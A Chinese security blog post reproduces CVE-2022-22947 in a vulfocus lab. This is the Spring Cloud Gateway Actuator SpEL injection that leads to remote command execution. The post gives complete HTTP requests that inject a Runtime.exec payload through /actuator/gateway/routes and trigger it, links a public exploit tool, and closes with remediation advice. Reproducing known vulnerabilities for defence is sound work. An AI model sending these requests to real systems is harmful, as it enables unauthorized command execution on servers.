之前我在对一个目标进行测试的时候扫出了spring信息泄露,并利用heapdump查到了Redis的明文密码,以为到这就结束的时候,一个师傅给我说这个站可以rce,我一看,是被我忽略的扫出的第一个路径/actuator/gateway/routes
这就是经验上的差距了,我不知道存在这个路径就有可能rce,所以我决定拿vulfocus对这个漏洞进行复现,下次再见到这个路径,就一眼能看出来可能存在此漏洞。
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
【受影响版本】
Spring Cloud Gateway < 3.1.1 Spring Cloud Gateway < 3.0.7 Spring Cloud Gateway 旧的、不受支持的版本也会受到影响 【安全版本】
Spring Cloud Gateway >= 3.1.1 Spring Cloud Gateway >= 3.0.7
参考链接:
https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md
使用vulfocus搭建docker环境,本文使用的服务器为云服务器,漏洞复现完成后会删除环境
访问ip:8080,出现如下图结果说明环境搭建成功
首先模拟一下常规渗透测试流程,进行一波扫描,我这里用的是灯塔
扫描出存在spring的routes模块,可能存在Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞
接下来正式对漏洞进行复现:
首先,burp抓包,发送如下数据包即可添加一个包含恶意SpEL表达式的路由(目的是要执行id命令):
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
可以看到,命令id被成功执行,漏洞复现成功。
最后,因为我们创建了一个恶意的路由,我们测试完漏洞后,可以将我们创建的路由进行删除
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
至此,Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞完美复现成功。
这算是一个比较复杂的漏洞了,实战过程可能比较麻烦,我们可以使用前辈写的工具进行测试。
这里尝试使用在github上搜索到的一款工具:
https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947
下载后直接在cmd中使用,可以看到直接返回了命令id的执行结果,证明该网站存在该漏洞,十分的方便快捷
临时修复建议:
如果不需要网关执行器端点,则应通过 management.endpoint.gateway.enabled: false 禁用它。如果需要执行器,则应使用 Spring Security 对其进行保护,请参阅https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。
通用修复建议:
官方已发布安全版本,请及时下载更新,下载地址:https://github.com/spring-cloud/spring-cloud-gateway